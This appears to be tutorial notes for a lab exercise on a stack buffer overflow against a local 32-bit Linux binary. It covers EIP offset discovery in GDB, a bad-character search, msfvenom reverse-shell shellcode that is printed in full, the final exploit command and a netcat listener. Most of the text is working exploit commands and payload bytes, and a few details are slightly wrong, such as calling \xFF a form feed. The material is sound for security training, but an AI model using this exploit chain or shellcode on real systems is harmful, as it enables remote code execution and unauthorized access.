Exploits

Take Control of EIP

One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.

Determine the Offset

The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.

Create pattern

Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called β€œpattern_create” that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.

❯ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
cat pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9

# GDB using the generated payload
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'") 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()

# GDB - EIP
(gdb) info registers eip
eip            0x69423569	0x69423569

# CALCULATING THE OFFSET
# We see that the EIP displays a different memory address, and we can use another MSF tool called "pattern_offset" to calculate the exact number of characters (offset) needed to advance to the EIP.
❯ /usr/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036

If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.

(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

The EIP has been overwritten with our \x66 characters.

Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.

Examine the register and find the address of EBP

(gdb) info registers ebp
ebp            0x55555555          0x55555555

Determine the Length for Shellcode

We have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.

Shellcode length

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
  • We need a total of 1040 bytes to get to the EIP.

  • Here, we can use an additional 100 bytes of NOPs

  • 150 bytes for our shellcode.

Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
NOPs = "\x90" * 100
Shellcode = "\x44" * 150
EIP = "\x66" * 4

Buffer

Now we can try to find out how much space we have available to insert our shellcode.

 (gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')

Identification of Bad Characters

\x00 - Null Byte
\x0A - Line Feed
\x0D - Carriage Return
\xFF - Form Feed

Here we use the following character list to find out all characters we have to consider and to avoid when generating our shellcode.

# characters list

CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# string length
echo $CHARS | sed 's/\\x/ /g' | wc -w
256

We need to calculate our buffer again.

Buffer = "\x55" * (1040 - 256 - 4) = 780
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4

Look at the whole main function to set a breakpoint at the corresponding function so that the execution stops at this point and we can analyze the memory's content :

(gdb) disas main

# setting the breakpoint at the function
(gdb) break bowfunc

# send chars
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')

# look at the stack
(gdb) x/2000xb $esp+500

# identify all bad characters - look where the chars start
# adjust the number of chars from the one who are bad
# Substract the number of removed characters

# Buffer = "\x55" * (1040 - 255 - 4) = 781
# "\x00" removed: 256 - 1 = 255 bytes
# CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"
# EIP = "\x66" * 4

# send without the null byte
(gdb) run $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')

# the stack
x/2000xb $esp+550

# check for other bad chars ... etc

Generate shellcode

msfvenom

# syntahx
msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>

# real command
msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode

# content of shellcode
❯ cat shellcode
unsigned char buf[] = 
"\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69"
"\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44"
"\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84"
"\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8"
"\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6"
"\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d";

# Now that we have our shellcode, we adjust it to have only one string, and then we can adapt and submit our simple exploit again.

# Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817
# NOPs = "\x90" * 124
# Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
# EIP = "\x66" * 4'

# EXPLOIT
(gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + ""\xbe\x6e\x05\xb5\x18\xdd\xc1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x31\x72\x12\x03\x72\x12\x83\x84\xf9\x57\xed\x69\xd9\x6f\xed\xda\x9e\xdc\x98\xde\xa9\x02\xec\xb8\x64\x44\x9e\x1d\xc7\x7a\x6c\x1d\x6e\xfc\x97\x75\x0e\xfe\x67\x84\x98\xfc\x67\xfc\x31\x88\x89\xb0\xa4\xda\x18\xe3\x9b\xd8\x13\xe2\x11\x5e\x71\x8c\xc7\x70\x05\x24\x70\xa0\xc6\xd6\xe9\x37\xfb\x44\xb9\xce\x1d\xd8\x36\x1c\x5d"" + "\x66" * 4')

# reverse shell 
nc -lvnp 31337

Last updated